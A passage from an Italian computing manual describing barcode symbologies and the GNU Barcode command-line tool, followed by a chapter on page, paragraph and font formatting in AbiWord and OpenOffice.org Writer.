La simbologia si compone di due tipi di barre e due tipi di spazi. Ogni simbolo si rappresenta con cinque barre e cinque spazi, dove due barre su cinque e due spazi su cinque sono più larghi. La simbologia è detta «interfogliata», perché una cifra è codificata nelle barre e la successiva lo è negli spazi che separano gli elementi del carattere precedente. Prima dei dati è previsto un simbolo iniziale, composto da una barra sottile, uno spazio breve, una barra sottile e un altro spazio breve; alla fine c'è un simbolo finale, composto da una barra larga, uno spazio sottile e una barra sottile.

Figura 69.20. Esempio di codice a barre con simbologia interfogliata due su cinque.

012345678

69.9 Sistemi bidimensionali

Il codice a barre comune è a una sola dimensione, nel senso che contiene una sola riga di informazioni, eventualmente anche molto breve. Semplificando le cose, si può dire che quando si sovrappongono più righe in un codice a barre, questo diventa a due dimensioni.

Un sistema di codice a barre a due dimensioni, con lo scopo di memorizzare dati, deve essere organizzato in modo da permettere al lettore meccanico di riconoscere e seguire le righe; inoltre deve essere previsto un sistema di informazioni ridondanti, anche molto complesso, in modo da garantire la lettura in presenza di errori.

Lo standard più comune per i codici a barre a due dimensioni è il PDF417, che comunque qui non viene descritto.

69.10 Barcode

Barcode[2] è una libreria e anche un programma molto semplice per la realizzazione di codici a barre standard a una sola dimensione. Il codice a barre viene realizzato in forma di file PostScript, che successivamente può essere utilizzato direttamente o convertito in altri formati grafici, attraverso programmi standard.

69.10.1 Utilizzo del programma

Barcode, come programma, si compone in pratica dell'eseguibile '**barcode**'. Questo genera normalmente un file PostScript che, salvo l'utilizzo dell'opzione '**-o**', viene emesso attraverso lo standard output.

```
barcode [opzioni]
```

Teoricamente si può usare Barcode anche senza l'indicazione di alcun argomento, per ottenere la conversione automatica di quanto inserito attraverso lo standard input, scegliendo la simbologia in modo automatico. Tuttavia, in genere è opportuno accertarsi di selezionare la simbologia attraverso l'opzione '**-e**'.

Le opzioni che vengono mostrate qui sono poche; in particolare mancano quelle che servono a definire la stampa di codici a barre in modo organizzato sul foglio, allo scopo di centrare delle etichette adesive. Per approfondire basta leggere la documentazione originale: *info barcode*.

Tabella 69.21. Alcune opzioni.

Opzione	Descrizione
`-e` ***simbologia***	Consente di specificare la simbologia dei codici a barre che si vogliono realizzare (*encoding*). Sono disponibili diverse parole chiave da usare come argomento dell'opzione, secondo la tabella 69.22.
`-i` ***file***	Stabilisce il nome di un file contenente un elenco di codici da trasformare in codici a barre. Se manca questa indicazione e se manca anche l'opzione '**-b**', viene letto lo standard input. La lettera dell'opzione richiama mnemonicamente la parola «input».
`-b` ***stringa***	Consente di indicare una stringa da convertire in un codice a barre singolo. La stringa deve essere compatibile con i tipi di dati che possono essere rappresentati con la simbologia prescelta. La lettera dell'opzione richiama mnemonicamente la parola *barcode*, ovvero il codice a barre che si vuole ottenere dalla stringa.
`-E`	Genera un file PostScript incapsulato (EPS).

Segue la descrizione di alcuni esempi.

- `$` **`barcode -E -e i25 -b "12345678" > prova.ps`** [*Invio*]

  Converte il numero 12345678 in un codice a barre secondo la simbologia interfogliata due su cinque, generando il file '`prova.ps`', di tipo EPS.

- `$` **`barcode -E -e i25 -b "12345678" -o prova.ps`** [*Invio*]

  Esattamente come nell'esempio precedente.

- `$` **`barcode -E -e isbn -b "88-386-4177-3" -o prova.ps`** [*Invio*]

  Come nell'esempio precedente, usando la simbologia EAN-13 per rappresentare un codice ISBN, come indicato con l'opzione '**-b**'.

69.10.2 Codifica

Generalmente, Barcode viene utilizzato indicando il tipo di simbologia, attraverso una parola chiave secondo l'elenco della tabella 69.22. In generale, si tratta di nomi che fanno riferimento al tipo di codice a barre; in alcuni casi, il nome indica anche altre caratteristiche. Per esempio, la parola chiave '**`code128b`**' indica la simbologia Code 128, nella quale si utilizza l'insieme di caratteri B; inoltre, la parola chiave '**`isbn`**' fa riferimento al codice ISBN, che viene rappresentato correttamente secondo la simbologia EAN-13.

Tabella 69.22. Simbologie disponibili con Barcode.

Simbologia	Parola chiave
UPC-A	upc-a
UPC-E	upc-e
UPC-A o UPC-E automaticamente	upc
EAN-8	ean8, ean-8
EAN-13	ean13, ean-13
EAN-8 o EAN-13 automaticamente	ean
Code 39	code39, 39
Code 128 insieme di caratteri B	code128b, 128b
Code 128 insieme di caratteri C	code128c, 128c
Code 128 insieme di caratteri A, B o C, automaticamente	code128, 128
Code 128 libero	128raw
interfogliata due su cinque	i25, interleaved 2 of 5
Codabar	cdr, codabar
Plessey	pls, plessey
ISBN attraverso EAN-13	isbn

Nel caso dell'uso della simbologia Code 128, si pone il problema di rappresentare i codici da *<NUL>* a *<US>*, il codice *<DEL>* e le funzioni speciali previste dalla simbologia. Usando l'eseguibile '**`barcode`**' diventa difficile indicare questi simboli; con la libreria non ci sono problemi a indicare i codici ASCII da *<SOH>* a *<US>* e il codice *<DEL>*, mentre negli altri casi viene fatta una trasformazione, come rappresentato nella tabella 69.23.

Tabella 69.23. Rappresentazione dei caratteri speciali per la simbologia Code 128, quando si usa la libreria Barcode.

Codice o simbolo	Ottale	Decimale	Esadecimale
<NUL>	200_8	128	80_{16}
FNC 1	301_8	193	$C1_{16}$
FNC 2	302_8	194	$C2_{16}$
FNC 3	303_8	195	$C3_{16}$
FNC 4	304_8	196	$C4_{16}$

Sempre a proposito della simbologia Code 128, è possibile utilizzando la parola chiave '**`128raw`**' per indicare un codice attraverso una stringa espressa nella forma:

n_1 n_2... n_n

In pratica, si indicano dei numeri separati tra loro da uno spazio. I numeri in questione rappresentano il valore indicato nella tabella 69.16; inoltre occorre tenere in considerazione che va

fornito anche il valore iniziale, con il quale si definisce solitamente l'insieme di caratteri A, B o C, mentre il codice di controllo finale e lo stop sono aggiunti automaticamente.

69.11 Riferimenti

- *GS1, the global language of business*

  ⟨http://www.gs1.org/⟩
- Tino Hempel, *Die Europäische Artikelnummer (EAN)*

  ⟨http://www.tinohempel.de/info/mathe/ean/ean.htm⟩
- *Barcoding for Beginners & Bar Code FAQ*

  ⟨http://www.idautomation.com/barcoding4beginners.html⟩
- *Code 39 Barcode FAQ and Tutorial*

  ⟨http://www.idautomation.com/code39faq.html⟩
- *Code 128 / USS Code-128 Barcode FAQ & Tutorial*

  ⟨http://www.idautomation.com/code128faq.html⟩
- *PDF417 Barcode FAQ*

  ⟨http://www.idautomation.com/pdf417faq.html⟩
- *UPC / EAN Barcode Font Data Sheet*

  ⟨http://www.bizfonts.com/upc-ean/faq.htm⟩
- *PDF417*

  ⟨http://www.pdf417.com/⟩
- Russ Adams, *Barcode 1*

  ⟨http://www.barcode-1.com/⟩
- *International ISBN Agency: Coordinator of the International Standard Book Number system*

  ⟨http://www.isbn-international.org⟩
- International ISBN Agency, *The ISBN Users' Manual*

  ⟨http://www.isbn.org/standards/home/isbn/International/ISBNmanual.asp⟩

[1] L'uso comune è dell'insieme di caratteri C, ma ciò non è imposto dallo standard.

[2] **Barcode** GNU GPL

Capitolo 70 Usare i programmi di scrittura visuale

70.1 La pagina . . . 3990

70.1.1 Pagine non omogenee . . . 3991
70.1.2 Formato della carta, orientamento e margini esterni . . . 3992
70.1.3 Intestazione e fondo pagina . . . 3993
70.1.4 Colonne . . . 3996
70.1.5 Pagine destre e sinistre . . . 3998
70.1.6 Esercizio . . . 4001

70.2 Il «paragrafo» . . . 4002

70.2.1 Dimensioni . . . 4002
70.2.2 Controllo del flusso del testo . . . 4004
70.2.3 Allineamento . . . 4006
70.2.4 Tabulazione . . . 4008
70.2.5 Elenchi . . . 4010
70.2.6 Righello . . . 4012

70.3 Il testo . . . 4012

70.3.1 La specie alfabetica e il tipo di carattere . . . 4012
70.3.2 Gruppo stilistico, serie e corpo . . . 4013
70.3.3 Effetti comuni applicabili al carattere . . . 4014
70.3.4 Maiuscole e minuscole . . . 4017
70.3.5 Direzione del testo . . . 4018
70.3.6 Controllo ortografico . . . 4019
70.3.7 Correzione ortografica . . . 4023
70.3.8 Simboli speciali e il limite della tastiera . . . 4024
70.3.9 Visualizzazione dei «caratteri non stampabili» . . . 4027
70.3.10 Inserzione di codici con funzioni speciali . . . 4028

70.4 Selezione, spostamento, copia . . . 4028

70.4.1 Selezione . . . 4029
70.4.2 Spostamento . . . 4030
70.4.3 Taglia-copia-incolla . . . 4031

70.5 Tabelle . . . 4032

70.5.1 Creazione di una tabella . . . 4032
70.5.2 Interazione con le tabelle . . . 4033
70.5.3 Righe, colonne e fusione delle celle . . . 4034
70.5.4 Bordi e sfondi . . . 4035

70.5.5 Righe di intestazione 4037
70.5.6 Copia dal foglio elettronico 4038

70.6 Incorporazione di oggetti 4038

70.6.1 Scorrimento 4039
70.6.2 Ancoraggio 4041

70.7 Carta legale 4042

70.7.1 Modello didattico 4043
70.7.2 Impaginazione 4044
70.7.3 Esercizio 4044
70.7.4 Esercizio 4046

70.8 Stili e indici 4047

70.8.1 Competenze 4047
70.8.2 Stili predefiniti 4049
70.8.3 Modifica degli stili 4051
70.8.4 Creazione di stili propri 4054
70.8.5 Stili di uso comune 4056
70.8.6 Indice generale 4056

70.9 Stampa in serie o «stampa unione» 4059

70.9.1 Preparazione di un elenco di indirizzi 4060
70.9.2 Acquisizione degli indirizzi 4060
70.9.3 Inserimento dei campi 4061
70.9.4 Visualizzazione dei dati 4062
70.9.5 Stampa in serie 4063
70.9.6 Associazione di un elenco alternativo 4067

Nelle sezioni successive viene descritto l'uso generale dei programmi di scrittura di tipo visuale, mostrando qualche esempio secondo la configurazione locale italiana.

70.1 La pagina

La configurazione della pagina consente principalmente di definire il formato di carta, l'orientamento, il numero di colonne, i margini, le righe di intestazione e di fondo pagina.

70.1.1 Pagine non omogenee

I programmi di scrittura più sofisticati, consentono di realizzare un documento le cui pagine possono avere caratteristiche differenti tra di loro. Per esempio, ci potrebbe essere una prima pagina in formato A3, mentre le pagine successive sono in formato A4. Questa facoltà potrebbe essere utile per organizzare in modo differente le pagine della copertina rispetto a corpo centrale, pur mantenendo il formato della carta uguale, come per qualunque altro scopo.

Purtroppo, il controllo di queste funzioni, con l'ausilio di programmi visuali, diventa molto difficile e in generale è sconsigliabile di servirsene. In altri termini, è preferibile la gestione di uno stile di pagina uniforme, piuttosto di mettersi nei guai.

> Quando si vogliono sfruttare caratteristiche «particolari» di un programma di scrittura visuale, si crea una dipendenza con lo stesso. Di conseguenza, il passaggio a un altro programma simile, anche se con funzionalità sostanzialmente equivalenti, diventa traumatico. Pertanto, dove possibile, conviene sempre limitarsi a utilizzare funzionalità comuni.

Figura 70.1. OpenOffice.org Writer: `Formato`, `Pagina`, `Gestione`. Attraverso questa scheda è possibile assegnare a ogni pagina una gestione differente, a cui corrisponde una configurazione propria. In generale, è meglio limitarsi alla gestione «standard».

70.1.2 Formato della carta, orientamento e margini esterni

La prima cosa da fare, quando si vuole scrivere un documento, è quello di stabilire il formato della carta che viene usato per stamparlo e i suoi margini esterni. Con OpenOffice.org Writer, si accede alla configurazione di tutte le opzioni che riguardano la pagina, attraverso la voce `Pagina` del menù `Formato`; con AbiWord, le funzioni specifiche per quello che serve qui si trovano nella voce `Imposta pagina` del menù `File`.

Figura 70.2. Identificazione dei margini. Di norma, quando si ruota il foglio, i margini non seguono la rotazione.

orientamento verticale
margine superiore
margine sinistro
margine destro
margine inferiore

orientamento orizzontale
margine superiore
margine sinistro
margine destro
margine inferiore

Figura 70.3. AbiWord: `File`, `Imposta pagina`.

Pagina | Margini
Foglio...
Formato del foglio: A4
Misura in: mm
Larghezza: 210,00
Altezza: 297,00
Orientamento...
Verticale
Orizzontale
Scala...
Scala al: 100 % della dimensione normale
Aiuto | Annulla | OK

Pagina | Margini
Misura in: mm
Superiore: 40,0
Destro: 20,0
Sinistro: 20,0
Inferiore: 40,0
Intestazione: 13,0
Piè di pagina: 13,0
Aiuto | Annulla | OK

Figura 70.4. OpenOffice.org Writer: `Formato`, `Pagina`, `Pagina`.

70.1.3 Intestazione e fondo pagina

I programmi gestiscono in modo vario la collocazione delle righe di intestazione e a fondo pagina. Queste righe si inseriscono nello spazio del margine superiore e inferiore, rispettivamente; tuttavia, in certi casi, la loro collocazione è indipendente dal margine già stabilito, in altri lo aumenta implicitamente.

Figura 70.5. Collocazione dell'intestazione e del fondo pagina secondo AbiWord.

Figura 70.6. Collocazione dell'intestazione e del fondo pagina secondo OpenOffice.org Writer.

margine superiore
altezza
distanza
distanza
altezza
margine inferiore

Generalmente, occorre attivare la presenza di intestazione e fondo pagina, quindi si può intervenire per regolarne la posizione. Con AbiWord si attiva l'intestazione con la selezione di `Inserisci`, `Intestazione`; si attiva il fondo pagina con `Inserisci`, `Piè pagina`. Con OpenOffice.org Writer si deve accedere alla scheda `Formato`, `Pagina`, `Riga d'intestazione`, oppure `Formato`, `Pagina`, `Piè di pagina`.

Figura 70.7. OpenOffice.org Writer: `Formato`, `Pagina`, `Riga d'intestazione`, con la casella di attivazione già selezionata. Si può osservare anche l'indicazione di distanza e altezza.

Figura 70.8. AbiWord: `File`, `Imposta pagina`, `Margini`. Si può osservare che assieme ai margini esterni si indicano anche i margini di intestazione e fondo pagina.

Il testo contenuto nell'intestazione e nel fondo pagina, viene suddiviso solitamente in tre parti, allineate, rispettivamente: a sinistra, al centro, a destra. Per distinguere le tre porzioni dell'intestazione, si usano normalmente degli stop di tabulazione; in pratica, si scrive la porzione che va collocata a sinistra, quindi si inserisce un carattere di tabulazione con il tasto [*Tab*], si scrive il testo da centrare, si inserisce un altro carattere di tabulazione e si conclude con il testo allineato a destra. Evidentemente, se il proprio programma di scrittura non è già predisposto in questo modo, ammesso che consenta di gestire gli stop di tabulazione, dovrebbe essere possibile crearne uno, centrato, collocato alla metà della larghezza dell'intestazione (o in qualunque altra posizione si preferisca), e un altro allineato a destra, sul bordo destro.

70.1.4 Colonne

Il testo di un documento si svolge normalmente in una sola colonna, nell'ambito dei margini esterni del foglio. Il programma di scrittura visuale comune offre la possibilità di scrivere usando più colonne, a volte consentendo di regolare l'ampiezza delle stesse, lo spazio tra di loro ed eventualmente la presenza di un filo di separazione.

Figura 70.9. Variabili da considerare nella suddivisione in più colonne del testo. Oltre a quello che si può intuire dall'immagine, spesso è possibile inserire delle linee di separazione tra le colonne; potrebbe essere consentita la bordatura; potrebbe essere indicato espressamente il flusso del testo; potrebbe essere specificata anche l'altezza delle colonne, indipendentemente dai margini esterni.

Con AbiWord si configura la suddivisione in più colonne attraverso la selezione di `Formato`, `Colonne`; con OpenOffice.org Writer si accede a questa funzione con `Formato`, `Colonne`, oppure anche con `Formato`, `Pagina`, `Pagina`, `Colonne`.

Figura 70.10. AbiWord: `Formato`, `Colonne`, con la casella di selezionata della linea separatrice attiva.

Figura 70.11. OpenOffice.org Writer: `Formato`, `Pagina`, `Colonne`. In questo caso, la distanza tra le colonne è uniforme e vi viene inserito un filo sottile.

Figura 70.12. OpenOffice.org Writer: `Formato`, `Pagina`, `Colonne`. In questo caso, la distanza tra le colonne è indipendente.

70.1.5 Pagine destre e sinistre

Uno dei problemi che si affronta nella scrittura di un documento importante, è quello di distinguere l'impaginazione delle pagine destre rispetto a quelle sinistre (ovvero delle pagine dispari rispetto a quelle pari). In generale, con un programma di scrittura visuale, se si vuole gestire una qualche differenza, conviene limitarsi alla riga di intestazione e a quella di fondo pagina. In pratica, si tratta di definire che tali informazioni sono distinte tra pagine destre e sinistre, per poter inserire testi differenti tra i due casi.

Figura 70.13. Quando si apre un libro, le due pagine che si vedono sono, rispettivamente, la pagina sinistra e la pagina destra. Generalmente, si considera la prima di copertina come una pagina destra.

Con AbiWord si configurano le particolarità di intestazione e fondo pagina selezionando `Formato`, `Formatta intestazioni/piè di pagina`; con OpenOffice.org Writer si accede a queste funzioni con `Formato`, `Pagina`, `Riga d'intestazione` o `Piè di pagina`.

Figura 70.14. AbiWord: `Formato`, `Formatta intestazioni/piè di pagina`. In questo caso, sono selezionate solo le caselle necessarie a gestire pagine destre e sinistre.

Proprietà delle intestazioni

- [x] Intestazioni differenti su pagine pari/dispari
- [ ] Intestazione differente nella prima pagina
- [ ] Intestazione differente nell'ultima pagina

Proprietà del piè di pagina

- [x] Piè di pagina differenti su pagine pari/dispari
- [ ] Piè di pagina differente nella prima pagina
- [ ] Piè di pagina differente nell'ultima pagina

Proprietà dei numeri di pagina

- [ ] Ricomincia la numerazione nelle nuove sezioni

Rinizia a numerare a: 1

Aiuto Annulla OK

Figura 70.15. OpenOffice.org Writer: `Formato`, `Pagina`, `Riga d'intestazione`. In questo caso, è attiva la riga di intestazione e si distingue tra le pagine destre e sinistre.

70.1.6 Esercizio

Con l'ausilio del proprio programma di scrittura preferito, si realizzi una pagina con i margini e le colonne descritti nella figura successiva. Si riempiano le colonne con del testo casuale, allineato simultaneamente a sinistra e a destra, in modo da poter misurare gli spazi ottenuti.

Figura 70.16. Configurazione di una pagina A4, a due colonne, senza fili di separazione.

70.2 Il «paragrafo»

Nei programmi di scrittura, il «paragrafo» è un blocco di testo continuo che si snoda nello spazio orizzontale di cui dispone, andando a capo quando necessario, in modo automatico. Generalmente, il paragrafo del programma di scrittura corrisponde al capoverso, secondo la terminologia tipografica.

Quando si vogliono configurare le caratteristiche di un paragrafo, viene preso in considerazione quello in cui si trova il cursore di scrittura (nel testo), oppure il gruppo di paragrafi evidenziati con il puntatore del mouse.

70.2.1 Dimensioni

Le dimensioni che riguardano il paragrafo sono principalmente: l'altezza tra le righe, i margini verticali ed eventualmente anche orizzontali, rispetto allo spazio a disposizione; inoltre vanno considerati i rientri del testo contenuto, dove quello della prima riga viene trattato separatamente. A questo proposito, va osservato che spesso i margini orizzontali vengono assimilati alla gestione dei rientri.

Figura 70.17. Dimensioni relative alla gestione dei paragrafi.

Una volta selezionato il paragrafo o i paragrafi di proprio interesse, con AbiWord si configurano le dimensioni con `Formato`, `Paragrafo`, `Rientri e spaziatura`; con OpenOffice Writer si accede a queste funzioni con `Formato`, `Paragrafo`, `Paragrafo`.

Figura 70.18. AbiWord: `Formato`, `Paragrafo`, `Rientri e spaziatura`.

Figura 70.19. OpenOffice Writer: `Formato`, `Paragrafo`, `Paragrafo`. In questo caso, le dimensioni sono abbastanza simili allo stesso esempio relativo ad AbiWord.

70.2.2 Controllo del flusso del testo

Il testo contenuto in un paragrafo, scorre seguendo lo spazio a sua disposizione. Generalmente, le cose che si possono controllare sono: la sillabazione; il fatto che il paragrafo debba rimanere unito o meno, quando risulterebbe a cavallo di due colonne o di due pagine; la gestione delle righe vedove e di quelle orfane; il fatto che il paragrafo debba rimanere unito al successivo (come nel caso di un titolo che non può apparire da solo alla fine di una pagina).

La sillabazione implica che il testo sia associato a una certa lingua, della quale si conoscono le regole per separare le parole alla fine delle righe. La configurazione della sillabazione può anche richiedere che l'interruzione delle parole non sia troppo frequente o che separi solo nella parte centrale delle parole stesse.

Quando un paragrafo si trova a cavallo tra due colonne o tra due pagine, può risultare spiacevole finire una colonna o una pagina con poche righe, così come è spiacevole iniziare una colonna o una pagina con poche righe di un paragrafo proveniente dalla colonna o da una pagina precedente. Le righe iniziali di un paragrafo che si divide sono le ***vedove***, mentre le righe finali dello stesso paragrafo, sono le ***orfane***.

Figura 70.20. Vedove e orfane.

righe vedove

b l a b l a b l a b l a b l a b l a

b l a b l a b l a b l a b l a b l a b l a b l a

b l a b l a b l a b l a b l a b l a b l a b l a

b l a b l a b l a b l a b l a b l a b l a b l a

b l a b l a b l a b l a b l a b l a

righe orfane

Una volta selezionato il paragrafo o i paragrafi di proprio interesse, con AbiWord si configura il flusso del testo con `Formato`, `Paragrafo`, `Distribuzione testo`; con OpenOffice Writer si accede a queste funzioni con `Formato`, `Paragrafo`, `Flusso di testo`.

Figura 70.21. AbiWord: `Formato`, `Paragrafo`, `Distribuzione testo`. Si può osservare che la gestione del controllo di vedove e orfane, si ottiene selezionando la casella '**`controllo righe isolate`**'.

Rientri e spaziatura | Distribuzione testo

Impaginazione

- [x] Controlla righe isolate
- [ ] Mantieni con il successivo
- [ ] Mantieni assieme le righe
- [ ] Anteponi interruzione
- [ ] Ometti i numeri di riga
- [ ] Non sillabare

Anteprima

Aiuto | Annulla | Tabulazioni | OK

Figura 70.22. OpenOffice.org Writer: `Formato`, `Paragrafo`, `Flusso di testo`.

70.2.3 Allineamento

Quando si scrive nel contesto di una lingua occidentale, il testo di un paragrafo si trova normalmente allineato a sinistra. Di norma è consentito allineare il testo in modo diverso: al centro, a destra, o simultaneamente a sinistra e a destra.

L'allineamento del testo è un problema frequente, per cui i programmi di scrittura visuali consentono spesso di accedervi attraverso pulsanti grafici a icona.

Figura 70.23. Icone tipiche per la selezione rapida degli allineamenti comuni.

sinistra centro destra entrambi

A parte il caso dell'uso di icone pronte per gestire l'allineamento, con AbiWord si può utilizzare il menù con `Formato`, `Paragrafo`, `Rientri e spaziatura`, mentre con OpenOffice Writer le voci di menù da seguire sono `Formato`, `Paragrafo`, `Allineamento`.

Figura 70.24. AbiWord: `Formato`, `Paragrafo`, `Rientri e spaziatura`.

Figura 70.25. OpenOffice.org Writer: `Formato`, `Paragrafo`, `Allineamento`.

70.2.4 Tabulazione

Attraverso gli ***stop di tabulazione***, si possono fissare delle posizioni orizzontali da raggiungere facilmente con l'inserimento di un carattere di tabulazione, il quale si ottiene normalmente con il tasto [*Tab*]. Lo stop di tabulazione che si fissa permette generalmente di stabilire anche il flusso del testo a partire dalla sua posizione; in pratica si può specificare un allineamento sinistro, destro, al centro e decimale. Per indicare gli stop di tabulazione esistenti, i programmi usano una simbologia abbastanza uniforme, dove si intende anche l'allineamento che si ottiene.

Figura 70.26. Tabulazioni e simbologia comune.

Oltre alla scelta dell'allineamento, in corrispondenza dello spazio che separa il testo dalla tabulazione successiva, è possibile fare apparire un filo o una sequenza di puntini, che si usano di solito per facilitare la lettura.

Nei programmi più semplici e limitati, le tabulazioni potrebbero essere associate al documento nella sua interezza, ma generalmente queste si abbinano ai paragrafi, in modo tale da poter cambiare lo schema di tabulazione di volta in volta. Come per tutte le funzioni che riguardano i paragrafi, prima di intervenire sulla configurazione delle tabulazioni, occorre posizionare il cursore di scrittura o selezionare una porzione di testo.

Con AbiWord si configurano le tabulazioni attraverso `Formato`, `Tabulazioni`, mentre con OpenOffice.org Writer si deve selezionare `Formato`, `Paragrafo`, `Tabulazione`.

Figura 70.27. AbiWord: `Formato`, `Tabulazioni`.

Tabulazioni predefinite: 40,00
User-defined Tabs
15.0mm
39.0mm
Position 39.0mm
Allineamento A sinistra
Carattere di riempimento 2 ....
Aggiungi Elimina
Aiuto Chiudi

Figura 70.28. OpenOffice.org Writer: `Formato`, `Paragrafo`, `Tabulazione`.

Paragrafo | Allineamento | Flusso di testo | Tipografia asiatica | Numerazione | Tabulazione | Capolettera | Bordo | Sfondo
Posizione
4,00cm
1,00cm
4,00cm
Tipo
A sinistra/in alto
A destra/in basso
Centrata
Decimale
Carattere ,
Caratteri riempitivi
Nessuno
....

______
Carattere
Nuova
Elimina tutti
Elimina
OK Annulla ? Ripristina

Dalle figure si può osservare che può essere necessario chiarire quale simbolo viene usato per individuare la posizione corretta dell'allineamento decimale: il punto o la virgola.

70.2.5 Elenchi

I programmi di scrittura gestiscono gli elenchi, puntati o numerati, attraverso un meccanismo specifico di gestione dei rientri del testo. In pratica, se un programma di scrittura non disponesse della gestione degli elenchi, questi si potrebbero ottenere aumentando il margine sinistro dei paragrafi, facendo rientrare all'indietro la prima riga, combinando uno stop di tabulazione della stessa lunghezza del margine del paragrafo stesso.

Figura 70.29. Creazione di un elenco puntato con la sola gestione dei rientri e delle tabulazioni, mettendo un asterisco seguito da un carattere di tabulazione nella prima riga.

Di norma, gli elenchi puntati e numerati vengono gestiti automaticamente dai programmi di scrittura, pertanto è il programma che aggiunge il pallino o il numero iniziale. Eventualmente, quando un paragrafo deve continuare allo stesso livello di rientro di una voce dell'elenco, senza avere il puntino o il numero iniziale, basta cancellare manualmente il simbolo in questione, come se fosse un carattere qualsiasi.

Con AbiWord e con OpenOffice.org Writer si crea un elenco puntato o numerato attraverso la selezione di `Formato`, `Elenchi puntati e numerati`.

Figura 70.30. AbiWord: `Formato`, `Elenchi puntati e numerati`.

Figura 70.31. OpenOffice.org Writer: `Formato`, `Elenchi puntati e numerati`.

70.2.6 Righello

Generalmente i programmi di scrittura visuale collocano un righello sulla parte superiore e sulla parte sinistra, in modo da facilitare l'individuazione e la modifica di margini, rientri e tabulazioni. Va osservato che di norma, con il righello non è possibile intervenire sulle spaziature verticali relative al testo e ai paragrafi.

Figura 70.32. Righello.

70.3 Il testo

Di norma, i programmi di scrittura visuali consentono di intervenire nel testo con molta libertà. Generalmente si tratta di modifiche che riguardano il tipo di carattere, con tutte le sue caratteristiche, compreso il corpo.

Quando si vogliono configurare le caratteristiche di una porzione di testo, è necessario prima evidenziarlo con il puntatore del mouse, oppure attraverso tecniche simili con l'ausilio della tastiera.

70.3.1 La specie alfabetica e il tipo di carattere

Nella tradizione tipografica, il carattere da stampa viene classificato, prima di tutto, in base alla specie alfabetica, ovvero in base al tipo di scrittura a cui è destinato: latino, cirillico, greco, arabo,... Nella tipografia basata sull'uso di software, secondo le convenzioni degli anni 1990, mancando una codifica univoca per ogni tipo di simbolo tipografico, era possibile sostituire la specie alfabetica, ottenendo caratteri alternativi. Pertanto, era possibile scrivere un testo con caratteri latini e poi trasformarlo in simboli, attribuendo successivamente la specie simbolica.

Nella tipografia attuale, ogni simbolo di ogni specie alfabetica ha un proprio codice distinto, secondo quella che è nota come codifica universale, pertanto, i programmi di scrittu-

ra non dovrebbero più consentire la sostituzione della specie alfabetica, perché ciò sarebbe un'operazione priva di significato.

Quello che si può cambiare è il tipo di carattere, inteso come gruppo stilistico (Times, Courier, Helvetica, ecc.). Tuttavia, difficilmente un tipo di carattere contiene tutti i simboli annoverati dalla codifica universale; pertanto, il cambiamento del tipo di carattere (del gruppo stilistico) può comportare la possibilità o meno di scrivere utilizzando certi simboli.

Per comprendere il problema legato alla scelta del tipo di carattere, in relazione alla specie alfabetica, si supponga di voler scrivere utilizzando l'alfabeto cirillico, naturalmente disponendo di una tastiera configurata correttamente per il cirillico. Senza pensare al problema della specie alfabetica, si potrebbe scegliere un carattere qualunque, che però contiene soltanto i simboli utili per l'alfabeto latino. In questo caso, il programma di scrittura potrebbe limitarsi a non visualizzare i caratteri della scrittura cirillica.

70.3.2 Gruppo stilistico, serie e corpo

Le cose più comuni che si definiscono del carattere sono: il gruppo stilistico, ovvero il nome del carattere; la serie, ovvero la forma; il corpo, ovvero la dimensione. Purtroppo, la terminologia utilizzata dai programmi di scrittura visuale non rispetta la tradizione tipografica e questo si ripercuote in un utilizzo errato della lingua italiana.

Con AbiWord e con OpenOffice.org Writer si interviene nelle caratteristiche principali del carattere con la selezione di `Formato`, `Carattere`, `Carattere`.

Figura 70.33. AbiWord: `Formato`, `Carattere`, `Carattere`. Si vede la selezione di un carattere Free Times, tondo, alto 24 punti.

Figura 70.34. OpenOffice.org Writer: `Formato`, `Carattere`, `Carattere`. Si vede la selezione di un carattere FreeSans, tondo, alto 24 punti.

70.3.3 Effetti comuni applicabili al carattere

Quando si pensa al carattere tipografico, si tende normalmente a concepire un testo nero su un foglio bianco. Naturalmente, le possibilità di un sistema tipografico basato su software sono molte di più. Gli effetti più comuni che si possono applicare al testo consistono nel cambiamento del colore, nello spostamento ad apice o a pedice, nell'aggiunta di sottolineature, sopralineature o barrature. Evidentemente, l'applicazione di effetti speciali al testo sconfina poi con la grafica.

Generalmente, con i programmi di scrittura visuale, gli effetti associati al carattere si ottengono a partire dalla voce di menù `Formato`, `Carattere`, ma nel dettaglio ognuno ha poi un suo modo di classificarli.

Figura 70.35. AbiWord: `Formato`, `Carattere`, `Carattere`. Si vede la selezione di un carattere FreeMono, tondo, alto 24 punti, sottolineato, barrato e sopralineato.

Figura 70.36. AbiWord: `Formato`, `Carattere`, `Colore`.

Figura 70.37. AbiWord: `Formato`, `Formattazione del testo`. Da questo sottomenù si possono controllare alcuni effetti del carattere, in particolare lo spostamento ad apice o a pedice.

Figura 70.38. OpenOffice.org Writer: `Formato`, `Carattere`, `Effetto carattere`. Si vede la selezione di un carattere di colore normale (nero), con una sottolineatura tratteggiata di colore blu, di una barratura normale, limitata alle parole e di una specie di sopralineatura con l'aggiunta di cerchietti.

Figura 70.39. OpenOffice.org Writer: `Formato`, `Carattere`, `Posizione`. Si vede la selezione di uno spostamento ad apice. Nella finestra si può notare anche la possibilità di ruotare il testo.

70.3.4 Maiuscole e minuscole

Nello scrivere si può incontrare la necessità di modificare sistematicamente il testo, per ciò che riguarda la scelta di lettere maiuscole o minuscole. Questo cambiamento può dover essere permanente, nel senso che si vuole che il programma sostituisca le lettere, dove necessario, oppure può essere applicato come se fosse un effetto da associare al testo.

Figura 70.40. AbiWord: `Formato`, `Cambia MAIUSCOLE/minuscole`. In questo caso, si tratta di eseguire una sostituzione permanente del testo.

Figura 70.41. OpenOffice.org Writer: menù `Formato`, `Maiuscole/minuscole`, per la sostituzione permanente del testo.

Figura 70.42. OpenOffice.org Writer: `Formato`, `Carattere`, `Effetto carattere`. Da questa scheda è possibile controllare anche l'associazione di effetti legati all'uso di maiuscole e minuscole, come il maiuscoletto che si vede selezionato.

70.3.5 Direzione del testo

Il programma di scrittura visuale dovrebbe mostrare il testo cambiandone la direzione in base alla specie alfabetica. In pratica, l'autore dovrebbe digitare i simboli secondo la sequenza normale di scrittura per quella data lingua, mentre il programma dovrebbe disporli secondo la direzione appropriata. Per fare un esempio più semplice, quando di scrive utilizzando la specie alfabetica latina, greca o cirillica, il testo deve scorrere da sinistra a destra; quando invece si scrive usando l'alfabeto ebraico o arabo, il testo deve scorrere da destra verso sinistra.

